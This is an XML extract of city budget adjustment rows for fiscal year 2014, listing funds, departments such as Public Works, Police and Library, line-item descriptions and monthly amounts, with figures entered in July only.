<row _id="8159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-37023.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37023.0</total></row>
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<row _id="8165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="8167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2640.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2640.0</total></row>
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<row _id="8173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>ST. JOE-HPSHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>275943.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>275943.0</total></row>
<row _id="8174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577723.0</object><object_description>ST. JOE SHELTER PLUS CARE-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3386.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3386.0</total></row>
<row _id="8175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408260.0</object><object_description>AHPP COMP MONITOR-ANNUAL FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-130000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-130000.0</total></row>
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<row _id="8177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2434.0</total></row>
<row _id="8178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1247.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1247.0</total></row>
<row _id="8179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1663.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1663.0</total></row>
<row _id="8180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6770.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6770.0</total></row>
<row _id="8181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26033.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26033.0</total></row>
<row _id="8182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21246.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21246.0</total></row>
<row _id="8183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3108.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3108.0</total></row>
<row _id="8184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>52783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52783.0</total></row>
<row _id="8185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="8186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8364.0</total></row>
<row _id="8187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72681.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72681.0</total></row>
<row _id="8188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="8189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="8190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26295.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26295.0</total></row>
<row _id="8191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2457.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2457.0</total></row>
<row _id="8192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>908.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>908.0</total></row>
<row _id="8193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="8194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="8195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44459.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44459.0</total></row>
<row _id="8197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34932.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34932.0</total></row>
<row _id="8198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11342.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11342.0</total></row>
<row _id="8199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-961393.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-961393.0</total></row>
<row _id="8200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-46540000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46540000.0</total></row>
<row _id="8201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400150.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-5100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5100000.0</total></row>
<row _id="8202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2679.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2679.0</total></row>
<row _id="8203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27657.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27657.0</total></row>
<row _id="8204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10731.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10731.0</total></row>
<row _id="8205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3040.0</total></row>
<row _id="8206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3651.0</total></row>
<row _id="8207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>413.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="8208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>345.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>345.0</total></row>
<row _id="8209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>369514.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>369514.0</total></row>
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<row _id="8237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17670.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17670.0</total></row>
<row _id="8238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>415</division_id><division_name>TRANSPORTATION MANAGEMENT</division_name><object>409300.0</object><object_description>TRANSIT INFRA CONTRIB-401 BROA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-125000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="8239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566472.0</object><object_description>SPEED SURVEY UPDATE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="8240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401380.0</object><object_description>POUND FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-37465.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37465.0</total></row>
<row _id="8241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="8242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544060.0</object><object_description>JAIL SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>68480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68480.0</total></row>
<row _id="8243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="8244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150675.0</total></row>
<row _id="8245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8325.0</total></row>
